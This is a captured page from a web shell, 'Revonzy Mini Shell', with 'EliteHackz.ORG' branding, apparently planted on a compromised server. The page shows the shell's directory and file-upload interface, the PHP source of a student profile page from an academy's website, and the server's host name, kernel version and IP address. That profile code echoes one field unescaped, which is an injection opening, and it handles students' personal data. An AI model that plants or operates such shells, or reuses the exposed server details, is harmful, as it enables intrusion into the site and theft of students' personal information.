Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vsacademysolapur.in/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vsacademysolapur.in/profile.php

<?php
require_once('admin/lib/functions.php');
$db     =   new login_function();
$success_msg =0;

$login_user_mob_no = "";

   if (isset($_SESSION['current_login_user'])) 
   {
    $login_user_mob_no = $_SESSION['current_login_user'];
   } 
   elseif (!isset($_SESSION['current_login_admin'])) 
   {
    header("Location: login.php");
    exit(); 
    }

    if(isset($_GET['logout']))
    {
        unset($_SESSION['current_login_user']);
    }
    
$login_details = $db->get_all_user_info_for_profile($login_user_mob_no);

if (!empty($login_details)) {
    // Unpack the data

    $id                         = $login_details[0];
	$candidate_full_name        = $login_details[1];
	$parent_full_name           = $login_details[2];
	$mother_name                = $login_details[3];
	$permant_address            = $login_details[4];
	$school_name                = $login_details[5];
	$select_school_type         = $login_details[6];
	$select_school_medium       = $login_details[7];
	$last_year_per              = $login_details[8]; 
	$adhar_no                   = $login_details[9];
	$date_of_brith              = $login_details[10];
	$parants_mobile_no          = $login_details[11];
	$gender                     = $login_details[12];
	$photo                      = $login_details[13];
	$marshit                    = $login_details[14];
	$laguage_for_exam           = $login_details[15];
	$signature                  = $login_details[16];
	$date                       = $login_details[17]; 
	$time                       = $login_details[18];
}     
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Profile Form</title>
    <link rel="stylesheet" href="assets/css/register.css">
</head>
<body>

<style type="text/css">
    /* styles.css */

.profile-container {
    max-width: 1200px;
    margin: 0 auto;
    padding: 20px;
    background: #fff;
    border-radius: 8px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}

.profile-header {
    display: flex;
    align-items: center;
    border-bottom: 2px solid #eee;
    padding-bottom: 20px;
    margin-bottom: 20px;
}

.profile-picture .images {
    border-radius: 50%;
    width: 150px;
    height: 150px;
    object-fit: cover;
    margin-right: 20px;
}

.profile-info h1 {
    margin: 0;
    font-size: 24px;
}

.profile-info p {
    margin: 5px 0;
}

.profile-info .age, .profile-info .height, .profile-info .religion, .profile-info .caste, .profile-info .education, .profile-info .profession {
    font-size: 18px;
    color: #555;
}

.profile-details {
    display: flex;
    justify-content: space-between;
}

.profile-details > div {
    flex: 1;
    margin-right: 20px;
}

.profile-details h2 {
    background-color: #f7f7f7;
    padding: 10px;
    border-radius: 5px;
    margin: 0 0 10px 0;
}

.profile-details p {
    margin: 5px 0;
}

.contact-details {
    margin-top: 20px;
}

.contact-details p {
    margin: 5px 0;
}

</style>
<?php require_once('header.php'); ?> 
 <img src="assets/images/couple.avif" alt="" style="height:400px">
 <br><br>
     <div class="profile-container">
        <header class="profile-header">
            <div class="profile-picture">
                <img src="image/<?php echo htmlspecialchars($photo); ?>" alt="Profile Picture" class="images">
            </div>
            <div class="profile-info">
                <h1><?php echo htmlspecialchars($candidate_full_name); ?></h1>
                <p class="age">Parents Full Name: <?php echo $parent_full_name; ?></p>
                <!-- <p class="height">Height: <?php echo htmlspecialchars($mother_name); ?></p> -->
                <p class="religion">Permant Address: <?php echo htmlspecialchars($permant_address); ?></p>
                <p class="caste">School Name: <?php echo htmlspecialchars($school_name); ?></p>
                <p class="education">School/Collage Type: <?php echo htmlspecialchars($select_school_type); ?></p>
                <p class="profession">School/Collage Medium: <?php echo htmlspecialchars($select_school_medium); ?></p>
            </div>
        </header>
        
        <section class="profile-details">
            <div class="personal-details">
                <h2>Personal Details</h2>
                <p><strong>Parents Full Name:</strong> <?php echo htmlspecialchars(date("F j, Y", strtotime($parent_full_name))); ?></p>
                <p><strong>Gender:</strong> <?php echo htmlspecialchars($gender); ?></p>
                <p><strong>Language For Exam:</strong> <?php echo htmlspecialchars($laguage_for_exam); ?></p>
                <!-- <p><strong>Languages:</strong> <?php echo htmlspecialchars($parants_mobile_no); ?></p> -->
            </div>
             
           
        </section>
    </div>
    <br>
    <br>
<?php include 'footer.php' ?> 
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4